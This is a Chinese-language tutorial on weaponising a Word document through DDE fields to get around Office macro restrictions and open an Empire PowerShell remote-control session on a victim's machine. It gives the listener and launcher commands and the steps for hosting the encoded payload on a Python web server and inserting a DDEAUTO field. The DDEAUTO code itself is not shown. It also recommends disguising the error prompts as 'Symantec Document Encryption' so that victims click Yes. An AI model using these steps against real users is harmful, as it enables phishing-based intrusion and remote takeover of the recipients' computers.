近期,有安全人员发现了一种DynamicData Exchange (DDE)协议绕过MSWord和MSExcel宏限制,不需使用MSWord和MSExcel漏洞,就能实现在Office文档中执行恶意命令目的。在这篇文章中,我将展示如何利用基于Empire的PowerShell来对Word文档进行“伪装”攻击,可能还有其它实现方法,我仅作个抛砖引玉。
创建一个Empire Listener监听线程,可点此查看Empire的使用说明。
当监听线程启动运行之后,运行以下命令,生成将要在目标受害机器上执行的PowerShell代码:
launcher powershell C2
复制powershell -noP -sta -w 1 -enc之后的转码脚本并另存为一个文件,然后把它部署于某个攻击需要用到的Web服务器中,用于受害主机稍后的请求下载。该Web服务器可以是Apache之类的,但在这里,我用Python SimpleHTTPServer模块来快速启动一个Web服务,它会自动托管你启动命令目录内的文件,当然最好可以创建一个文件目录,然后通过终端cd到其中进行文件生成(我这里是evil)和启动Web服务。(Python的Web服务默认监听端口为8000)
python -m SimpleHTTPServer
创建一个可以利用DDE攻击的Word文档:生成一个Word文档,点击空白区域,点击插入标签,点击文档部件(Quick Parts),然后点击域(Field):
然后在下面这选择= (Formula),点击OK:
在生成的内容上面,右键点击切换域代码(Toggle Field Codes):
之后,在其中插入以下DDEAUTO代码,但务必监听端的IP和端口正确:
现在就可以保存该文档,准备把它发送给目标受害者了。
一旦受害者点击打开该文档,会跳出几个错误,可以配合社工技巧来迷惑用户来点击Yes。可以修改这些错误消息更直观好看一点,例如有一些测试人员就把它修改为’Symantec Document Encryption’。
一旦受害者把所有错误消息都点击了Yes之后,在我们的监听端就会反弹回一个Empire的控制连接,对受害者系统形成远程控制: